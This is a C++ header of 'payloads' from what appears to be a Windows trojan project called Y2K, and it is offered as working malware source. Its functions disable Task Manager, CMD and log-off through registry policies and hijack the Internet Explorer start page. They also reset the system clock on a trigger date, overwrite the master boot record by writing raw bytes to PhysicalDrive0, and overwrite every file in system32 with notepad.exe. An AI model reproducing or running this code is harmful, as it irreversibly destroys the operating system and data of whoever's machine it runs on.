Y2K/src/payloads.h

81 lines
2.9 KiB
C++

/*
* Every non visual Payload is here!
*/
#include "functions.h"
namespace Payloads {
void prepareForImpact(){
DWORD value = 0x00000001;
const char* regValues[5] = {"NoClose", "StartMenuLogOff", "NoRun", "DisableTaskMgr", "DisableCMD",};
const char startPage[] = "https://github.com/LunzRh";
const char typedUrl[] = "How develop cool gdi trojan for Windows XP 2077 cyberpunk updated 100% working no trolls";
// Registry operations
Functions::setRegKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", regValues[0], REG_DWORD, (const BYTE*)&value, sizeof(value));
Functions::setRegKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", regValues[1], REG_DWORD, (const BYTE*)&value, sizeof(value));
Functions::setRegKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", regValues[2], REG_DWORD, (const BYTE*)&value, sizeof(value));
Functions::setRegKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main", "Start Page", REG_SZ, (LPBYTE)&startPage, sizeof(startPage));
Functions::setRegKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\TypedURLs", "url1", REG_SZ, (LPBYTE)&typedUrl, sizeof(typedUrl));
Functions::createAndSetRegKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", regValues[3], REG_DWORD, (const BYTE*)&value, sizeof(value));
Functions::createAndSetRegKey(HKEY_CURRENT_USER, "SOFTWARE\\Policies\\Microsoft\\Windows\\System", regValues[4], REG_DWORD, (const BYTE*)&value, sizeof(value));
// Load menu modifications
ShellExecuteA(NULL, NULL, "taskkill", "/f /im explorer.exe", NULL, 0);
Sleep(500);
ShellExecuteA(NULL, NULL, "explorer.exe", NULL, NULL, 0);
}
int whatDayIsToday(){
SYSTEMTIME systemTime;
GetSystemTime(&systemTime);
if (systemTime.wYear == 2000 && systemTime.wMonth == 1 && systemTime.wDay == 2)
return 1;
else if (systemTime.wYear == 2000 && systemTime.wMonth == 1 && systemTime.wDay == 1){
systemTime.wYear = 1900;
systemTime.wMonth = 1;
systemTime.wDay = 1;
SetSystemTime(&systemTime);
return 2;
} else
return 3;
}
void byeByeBoot(int size,char* start,char* end){
unsigned char bootloader[size];
int index = 0;
for(char* i = start; i != end; ++i) {
bootloader[index] = *i;
index++;
}
DWORD bWriten;
HANDLE mbr = CreateFileA(TEXT("\\\\.\\PhysicalDrive0"),
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE,
0, OPEN_EXISTING, 0, 0);
WriteFile(mbr, bootloader, size, &bWriten, NULL);
CloseHandle(mbr);
}
void notepadOverwriter(){
WIN32_FIND_DATA data;
HANDLE hFindFile;
SetCurrentDirectory("C:\\windows\\system32");
hFindFile = FindFirstFileA("*", &data);
do {
CopyFile("C:\\Windows\\notepad.exe", data.cFileName, FALSE);
} while (FindNextFileA(hFindFile, &data));
}
}